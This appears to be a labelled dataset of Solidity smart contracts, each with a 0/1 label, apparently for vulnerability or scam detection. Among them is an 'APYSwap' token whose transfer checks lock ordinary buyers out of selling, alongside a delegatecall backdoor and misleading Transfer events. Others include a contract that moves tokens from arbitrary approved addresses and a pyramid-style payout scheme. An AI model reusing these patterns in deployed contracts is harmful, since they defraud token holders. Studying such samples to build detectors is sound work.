source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.4.25;
contract NOTBAD {
mapping (address => uint256) public invested;
mapping (address => uint256) public atBlock;
function () external payable
{
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * (address(this).balance / (invested[msg.sender] * 100 )) / 100 * (block.number - atBlock[msg.sender]) / 6100;
msg.sender.transfer(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 1 | 4,499 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Token {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "APYSwap";
string public symbol = "APYS";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,154 |
pragma solidity ^0.4.18;
contract EBU{
function transfer(address from,address caddress,address[] _tos,uint[] v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v[i]);
}
return true;
}
} | 0 | 2,255 |
pragma solidity 0.4.20;
contract WhoVote {
mapping (address => bytes32) public voteHash;
address public parentContract;
uint public deadline;
modifier isActive {
require(now < deadline);
_;
}
modifier isParent {
require(msg.sender == parentContract);
_;
}
function WhoVote(address _parentContract, uint timespan) public {
parentContract = _parentContract;
deadline = now + timespan;
}
function recieveVote(address _sender, bytes32 _hash) public isActive isParent returns (bool) {
require(voteHash[_sender] == 0);
voteHash[_sender] = _hash;
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function circulatingSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool);
event TransferEvent(address indexed from, address indexed to, uint value);
}
contract StandardToken is ERC20Interface {
using SafeMath for uint;
uint public maxSupply;
uint public totalSupply;
uint public timestampMint;
uint public timestampRelease;
uint8 public decimals;
string public symbol;
string public name;
address public owner;
bool public stopped;
mapping(address => uint) public balanceOf;
mapping (address => uint) public permissonedAccounts;
modifier onlyAfter() {
require(now >= timestampMint + 3 weeks);
_;
}
modifier isActive() {
require(!stopped);
_;
}
modifier hasPermission(uint _level) {
require(permissonedAccounts[msg.sender] > 0);
require(permissonedAccounts[msg.sender] <= _level);
_;
}
function circulatingSupply() public view returns (uint) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balanceOf[_owner];
}
function transfer(address _to, uint _value) public isActive returns (bool) {
require(_to != address(0));
require(_value <= balanceOf[msg.sender]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
TransferEvent(msg.sender, _to, _value);
return true;
}
}
contract Who is StandardToken {
mapping (address => uint) public votings_;
mapping (address => uint8) public icoAccounts;
address public prizePool;
uint public icoPool;
uint public raisedIcoValue;
uint public maxMint;
event WinningEvent(address[] winner, address contest, uint payoutValue);
event VotingStarted(address _voting, uint _duration, uint _costPerVote);
event ParticipatedInVoting(address _sender, address _votingContract, bytes32 _hash, uint _voteAmount);
modifier icoPhase() {
require(now >= timestampRelease);
require(now <= 3 weeks + timestampRelease);
require(msg.value >= 2*(10**16));
_;
}
function Who() public {
owner = 0x4c556b28A7D62D3b7A84481521308fbb9687f38F;
name = "WhoHas";
symbol = "WHO";
decimals = 18;
permissonedAccounts[owner] = 1;
permissonedAccounts[0x3090Ee894719222DCE4d231d735741B2d44f30ba] = 1;
timestampRelease = now + 6 hours + 40 minutes;
balanceOf[owner] = 150000000*(10**18);
icoPool = 100000000*(10**18);
maxSupply = 1500000000*(10**18);
maxMint = 150000*(10**18);
totalSupply = totalSupply.add(balanceOf[owner]);
stopped = false;
}
function icoBuy() public icoPhase() payable isActive {
prizePool.transfer(msg.value);
raisedIcoValue = raisedIcoValue.add(msg.value);
uint256 tokenAmount = calculateTokenAmountICO(msg.value);
require(icoPool >= tokenAmount);
icoPool = icoPool.sub(tokenAmount);
balanceOf[msg.sender] += tokenAmount;
TransferEvent(prizePool, msg.sender, tokenAmount);
totalSupply = totalSupply.add(tokenAmount);
}
function calculateTokenAmountICO(uint256 _etherAmount) public icoPhase constant returns(uint256) {
if (now <= 10 days + timestampRelease) {
require(icoAccounts[msg.sender] == 1);
return _etherAmount.mul(4420);
} else {
require(icoAccounts[msg.sender] == 2);
return _etherAmount.mul(3315);
}
}
function killToken() public isActive hasPermission(1) {
stopped = true;
}
function updatePermissions(address _account, uint _level) public isActive hasPermission(1) {
require(_level != 1 && msg.sender != _account);
permissonedAccounts[_account] = _level;
}
function updatePrizePool(address _account) public isActive hasPermission(1) {
prizePool = _account;
}
function mint(uint _mintAmount) public onlyAfter isActive hasPermission(2) {
require(_mintAmount <= maxMint);
require(totalSupply + _mintAmount <= maxSupply);
balanceOf[owner] = balanceOf[owner].add(_mintAmount);
totalSupply = totalSupply.add(_mintAmount);
timestampMint = now;
}
function registerForICO(address[] _icoAddresses, uint8 _level) public isActive hasPermission(3) {
for (uint i = 0; i < _icoAddresses.length; i++) {
icoAccounts[_icoAddresses[i]] = _level;
}
}
function gernerateVoting(uint _timespan, uint _votePrice) public isActive hasPermission(3) {
require(_votePrice > 0 && _timespan > 0);
address generatedVoting = new WhoVote(this, _timespan);
votings_[generatedVoting] = _votePrice;
VotingStarted(generatedVoting, _timespan, _votePrice);
}
function addVoting(address _votingContract, uint _votePrice) public isActive hasPermission(3) {
votings_[_votingContract] = _votePrice;
}
function finalizeVoting(address _votingContract) public isActive hasPermission(3) {
votings_[_votingContract] = 0;
}
function payout(address[] _winner, uint _payoutValue, address _votingAddress) public isActive hasPermission(3) {
for (uint i = 0; i < _winner.length; i++) {
transfer(_winner[i], _payoutValue);
}
WinningEvent(_winner, _votingAddress, _payoutValue);
}
function payForVote(address _votingContract, bytes32 _hash, uint _quantity) public isActive {
require(_quantity >= 1 && _quantity <= 5);
uint votePrice = votings_[_votingContract];
require(votePrice > 0);
transfer(prizePool, _quantity.mul(votePrice));
sendVote(_votingContract, msg.sender, _hash);
ParticipatedInVoting(msg.sender, _votingContract, _hash, _quantity);
}
function sendVote(address _contract, address _sender, bytes32 _hash) private returns (bool) {
return WhoVote(_contract).recieveVote(_sender, _hash);
}
} | 0 | 1,682 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract TeamAllocation is Ownable {
using SafeMath for uint;
uint public unlockedAt;
PillarToken plr;
mapping (address => uint) allocations;
uint tokensCreated = 0;
uint constant public lockedTeamAllocationTokens = 16000000e18;
address public teamStorageVault = 0x3f5D90D5Cc0652AAa40519114D007Bf119Afe1Cf;
function TeamAllocation() {
plr = PillarToken(msg.sender);
uint nineMonths = 9 * 30 days;
unlockedAt = now.add(nineMonths);
allocations[teamStorageVault] = lockedTeamAllocationTokens;
}
function getTotalAllocation() returns (uint){
return lockedTeamAllocationTokens;
}
function unlock() external payable {
if (now < unlockedAt) throw;
if (tokensCreated == 0) {
tokensCreated = plr.balanceOf(this);
}
plr.transfer(teamStorageVault, tokensCreated);
}
}
contract UnsoldAllocation is Ownable {
using SafeMath for uint;
uint unlockedAt;
uint allocatedTokens;
PillarToken plr;
mapping (address => uint) allocations;
uint tokensCreated = 0;
function UnsoldAllocation(uint _lockTime, address _owner, uint _tokens) {
if(_lockTime == 0) throw;
if(_owner == address(0)) throw;
plr = PillarToken(msg.sender);
uint lockTime = _lockTime * 1 years;
unlockedAt = now.add(lockTime);
allocatedTokens = _tokens;
allocations[_owner] = _tokens;
}
function getTotalAllocation()returns(uint){
return allocatedTokens;
}
function unlock() external payable {
if (now < unlockedAt) throw;
if (tokensCreated == 0) {
tokensCreated = plr.balanceOf(this);
}
var allocation = allocations[msg.sender];
allocations[msg.sender] = 0;
var toTransfer = (tokensCreated.mul(allocation)).div(allocatedTokens);
plr.transfer(msg.sender, toTransfer);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
if (paused) throw;
_;
}
modifier whenPaused {
if (!paused) throw;
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PillarToken is StandardToken, Ownable {
using SafeMath for uint;
string public constant name = "PILLAR";
string public constant symbol = "PLR";
uint public constant decimals = 18;
TeamAllocation public teamAllocation;
UnsoldAllocation public unsoldTokens;
UnsoldAllocation public twentyThirtyAllocation;
UnsoldAllocation public futureSaleAllocation;
uint constant public minTokensForSale = 32000000e18;
uint constant public maxPresaleTokens = 48000000e18;
uint constant public totalAvailableForSale = 528000000e18;
uint constant public futureTokens = 120000000e18;
uint constant public twentyThirtyTokens = 80000000e18;
uint constant public lockedTeamAllocationTokens = 16000000e18;
uint constant public unlockedTeamAllocationTokens = 8000000e18;
address public unlockedTeamStorageVault = 0x4162Ad6EEc341e438eAbe85f52a941B078210819;
address public twentyThirtyVault = 0xe72bA5c6F63Ddd395DF9582800E2821cE5a05D75;
address public futureSaleVault = 0xf0231160Bd1a2a2D25aed2F11B8360EbF56F6153;
address unsoldVault;
uint constant coldStorageYears = 10;
uint constant futureStorageYears = 3;
uint totalPresale = 0;
uint public constant tokenPrice = 0.0005 ether;
address public pillarTokenFactory;
uint fundingStartBlock;
uint fundingStopBlock;
bool fundingMode;
uint totalUsedTokens;
event Refund(address indexed _from,uint256 _value);
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event MoneyAddedForRefund(address _from, uint256 _value,uint256 _total);
modifier isNotFundable() {
if (fundingMode) throw;
_;
}
modifier isFundable() {
if (!fundingMode) throw;
_;
}
function PillarToken(address _pillarTokenFactory, address _icedWallet) {
if(_pillarTokenFactory == address(0)) throw;
if(_icedWallet == address(0)) throw;
pillarTokenFactory = _pillarTokenFactory;
totalUsedTokens = 0;
totalSupply = 800000000e18;
unsoldVault = _icedWallet;
balances[unlockedTeamStorageVault] = unlockedTeamAllocationTokens;
futureSaleAllocation = new UnsoldAllocation(futureStorageYears,futureSaleVault,futureTokens);
balances[address(futureSaleAllocation)] = futureTokens;
twentyThirtyAllocation = new UnsoldAllocation(futureStorageYears,twentyThirtyVault,twentyThirtyTokens);
balances[address(twentyThirtyAllocation)] = twentyThirtyTokens;
fundingMode = false;
}
function() payable isFundable external {
purchase();
}
function purchase() payable isFundable {
if(block.number < fundingStartBlock) throw;
if(block.number > fundingStopBlock) throw;
if(totalUsedTokens >= totalAvailableForSale) throw;
if (msg.value < tokenPrice) throw;
uint numTokens = msg.value.div(tokenPrice);
if(numTokens < 1) throw;
pillarTokenFactory.transfer(msg.value);
uint tokens = numTokens.mul(1e18);
totalUsedTokens = totalUsedTokens.add(tokens);
if (totalUsedTokens > totalAvailableForSale) throw;
balances[msg.sender] = balances[msg.sender].add(tokens);
Transfer(0, msg.sender, tokens);
}
function numberOfTokensLeft() constant returns (uint256) {
uint tokensAvailableForSale = totalAvailableForSale.sub(totalUsedTokens);
return tokensAvailableForSale;
}
function finalize() isFundable onlyOwner external {
if (block.number <= fundingStopBlock) throw;
if (totalUsedTokens < minTokensForSale) throw;
if(unsoldVault == address(0)) throw;
fundingMode = false;
teamAllocation = new TeamAllocation();
balances[address(teamAllocation)] = lockedTeamAllocationTokens;
uint totalUnSold = numberOfTokensLeft();
if(totalUnSold > 0) {
unsoldTokens = new UnsoldAllocation(coldStorageYears,unsoldVault,totalUnSold);
balances[address(unsoldTokens)] = totalUnSold;
}
pillarTokenFactory.transfer(this.balance);
}
function refund() isFundable external {
if(block.number <= fundingStopBlock) throw;
if(totalUsedTokens >= minTokensForSale) throw;
uint plrValue = balances[msg.sender];
if(plrValue == 0) throw;
balances[msg.sender] = 0;
uint ethValue = plrValue.mul(tokenPrice).div(1e18);
msg.sender.transfer(ethValue);
Refund(msg.sender, ethValue);
}
function allocateForRefund() external payable onlyOwner returns (uint){
MoneyAddedForRefund(msg.sender,msg.value,this.balance);
return this.balance;
}
function allocateTokens(address _to,uint _tokens) isNotFundable onlyOwner external {
uint numOfTokens = _tokens.mul(1e18);
totalPresale = totalPresale.add(numOfTokens);
if(totalPresale > maxPresaleTokens) throw;
balances[_to] = balances[_to].add(numOfTokens);
}
function unPauseTokenSale() onlyOwner isNotFundable external returns (bool){
fundingMode = true;
return fundingMode;
}
function pauseTokenSale() onlyOwner isFundable external returns (bool){
fundingMode = false;
return !fundingMode;
}
function startTokenSale(uint _fundingStartBlock, uint _fundingStopBlock) onlyOwner isNotFundable external returns (bool){
if(_fundingStopBlock <= _fundingStartBlock) throw;
fundingStartBlock = _fundingStartBlock;
fundingStopBlock = _fundingStopBlock;
fundingMode = true;
return fundingMode;
}
function fundingStatus() external constant returns (bool){
return fundingMode;
}
} | 1 | 3,170 |
pragma solidity ^0.4.24;
contract EtherWorldCup {
using SafeMath for uint;
address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae;
address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
string name = "EtherWorldCup";
string symbol = "EWC";
mapping (string => int8) worldCupGameID;
mapping (int8 => bool) gameFinished;
mapping (int8 => uint) gameLocked;
mapping (int8 => string) gameResult;
int8 internal latestGameFinished;
uint internal prizePool;
uint internal givethPool;
int registeredPlayers;
mapping (address => bool) playerRegistered;
mapping (address => mapping (int8 => bool)) playerMadePrediction;
mapping (address => mapping (int8 => string)) playerPredictions;
mapping (address => int8[64]) playerPointArray;
mapping (address => int8) playerGamesScored;
mapping (address => uint) playerStreak;
address[] playerList;
event Registration(
address _player
);
event PlayerLoggedPrediction(
address _player,
int _gameID,
string _prediction
);
event PlayerUpdatedScore(
address _player,
int _lastGamePlayed
);
event Comparison(
address _player,
uint _gameID,
string _myGuess,
string _result,
bool _correct
);
event PlayerPointGain(
address _player,
uint _gameID,
uint _streak,
uint _points
);
event StartAutoScoring(
address _player
);
event StartScoring(
address _player,
uint _gameID
);
event DidNotPredict(
address _player,
uint _gameID
);
event RipcordRefund(
address _player
);
constructor ()
public
{
worldCupGameID["RU-SA"] = 1;
gameLocked[1] = 1528988400;
worldCupGameID["EG-UY"] = 2;
worldCupGameID["MA-IR"] = 3;
worldCupGameID["PT-ES"] = 4;
gameLocked[2] = 1529064000;
gameLocked[3] = 1529074800;
gameLocked[4] = 1529085600;
worldCupGameID["FR-AU"] = 5;
worldCupGameID["AR-IS"] = 6;
worldCupGameID["PE-DK"] = 7;
worldCupGameID["HR-NG"] = 8;
gameLocked[5] = 1529143200;
gameLocked[6] = 1529154000;
gameLocked[7] = 1529164800;
gameLocked[8] = 1529175600;
worldCupGameID["CR-CS"] = 9;
worldCupGameID["DE-MX"] = 10;
worldCupGameID["BR-CH"] = 11;
gameLocked[9] = 1529236800;
gameLocked[10] = 1529247600;
gameLocked[11] = 1529258400;
worldCupGameID["SE-KR"] = 12;
worldCupGameID["BE-PA"] = 13;
worldCupGameID["TN-EN"] = 14;
gameLocked[12] = 1529323200;
gameLocked[13] = 1529334000;
gameLocked[14] = 1529344800;
worldCupGameID["CO-JP"] = 15;
worldCupGameID["PL-SN"] = 16;
worldCupGameID["RU-EG"] = 17;
gameLocked[15] = 1529409600;
gameLocked[16] = 1529420400;
gameLocked[17] = 1529431200;
worldCupGameID["PT-MA"] = 18;
worldCupGameID["UR-SA"] = 19;
worldCupGameID["IR-ES"] = 20;
gameLocked[18] = 1529496000;
gameLocked[19] = 1529506800;
gameLocked[20] = 1529517600;
worldCupGameID["DK-AU"] = 21;
worldCupGameID["FR-PE"] = 22;
worldCupGameID["AR-HR"] = 23;
gameLocked[21] = 1529582400;
gameLocked[22] = 1529593200;
gameLocked[23] = 1529604000;
worldCupGameID["BR-CR"] = 24;
worldCupGameID["NG-IS"] = 25;
worldCupGameID["CS-CH"] = 26;
gameLocked[24] = 1529668800;
gameLocked[25] = 1529679600;
gameLocked[26] = 1529690400;
worldCupGameID["BE-TN"] = 27;
worldCupGameID["KR-MX"] = 28;
worldCupGameID["DE-SE"] = 29;
gameLocked[27] = 1529755200;
gameLocked[28] = 1529766000;
gameLocked[29] = 1529776800;
worldCupGameID["EN-PA"] = 30;
worldCupGameID["JP-SN"] = 31;
worldCupGameID["PL-CO"] = 32;
gameLocked[30] = 1529841600;
gameLocked[31] = 1529852400;
gameLocked[32] = 1529863200;
worldCupGameID["UR-RU"] = 33;
worldCupGameID["SA-EG"] = 34;
worldCupGameID["ES-MA"] = 35;
worldCupGameID["IR-PT"] = 36;
gameLocked[33] = 1529935200;
gameLocked[34] = 1529935200;
gameLocked[35] = 1529949600;
gameLocked[36] = 1529949600;
worldCupGameID["AU-PE"] = 37;
worldCupGameID["DK-FR"] = 38;
worldCupGameID["NG-AR"] = 39;
worldCupGameID["IS-HR"] = 40;
gameLocked[37] = 1530021600;
gameLocked[38] = 1530021600;
gameLocked[39] = 1530036000;
gameLocked[40] = 1530036000;
worldCupGameID["KR-DE"] = 41;
worldCupGameID["MX-SE"] = 42;
worldCupGameID["CS-BR"] = 43;
worldCupGameID["CH-CR"] = 44;
gameLocked[41] = 1530108000;
gameLocked[42] = 1530108000;
gameLocked[43] = 1530122400;
gameLocked[44] = 1530122400;
worldCupGameID["JP-PL"] = 45;
worldCupGameID["SN-CO"] = 46;
worldCupGameID["PA-TN"] = 47;
worldCupGameID["EN-BE"] = 48;
gameLocked[45] = 1530194400;
gameLocked[46] = 1530194400;
gameLocked[47] = 1530208800;
gameLocked[48] = 1530208800;
worldCupGameID["1C-2D"] = 49;
worldCupGameID["1A-2B"] = 50;
gameLocked[49] = 1530367200;
gameLocked[50] = 1530381600;
worldCupGameID["1B-2A"] = 51;
worldCupGameID["1D-2C"] = 52;
gameLocked[51] = 1530453600;
gameLocked[52] = 1530468000;
worldCupGameID["1E-2F"] = 53;
worldCupGameID["1G-2H"] = 54;
gameLocked[53] = 1530540000;
gameLocked[54] = 1530554400;
worldCupGameID["1F-2E"] = 55;
worldCupGameID["1H-2G"] = 56;
gameLocked[55] = 1530626400;
gameLocked[56] = 1530640800;
worldCupGameID["W49-W50"] = 57;
worldCupGameID["W53-W54"] = 58;
gameLocked[57] = 1530885600;
gameLocked[58] = 1530900000;
worldCupGameID["W55-W56"] = 59;
worldCupGameID["W51-W52"] = 60;
gameLocked[59] = 1530972000;
gameLocked[60] = 1530986400;
worldCupGameID["W57-W58"] = 61;
gameLocked[61] = 1531245600;
worldCupGameID["W59-W60"] = 62;
gameLocked[62] = 1531332000;
worldCupGameID["L61-L62"] = 63;
gameLocked[63] = 1531576800;
worldCupGameID["W61-W62"] = 64;
gameLocked[64] = 1531666800;
latestGameFinished = 0;
}
function register()
public
payable
{
address _customerAddress = msg.sender;
require( tx.origin == _customerAddress
&& !playerRegistered[_customerAddress]
&& _isCorrectBuyin (msg.value));
registeredPlayers = SafeMath.addint256(registeredPlayers, 1);
playerRegistered[_customerAddress] = true;
playerGamesScored[_customerAddress] = 0;
playerList.push(_customerAddress);
uint fivePercent = 0.01009 ether;
uint tenPercent = 0.02018 ether;
uint prizeEth = (msg.value).sub(tenPercent);
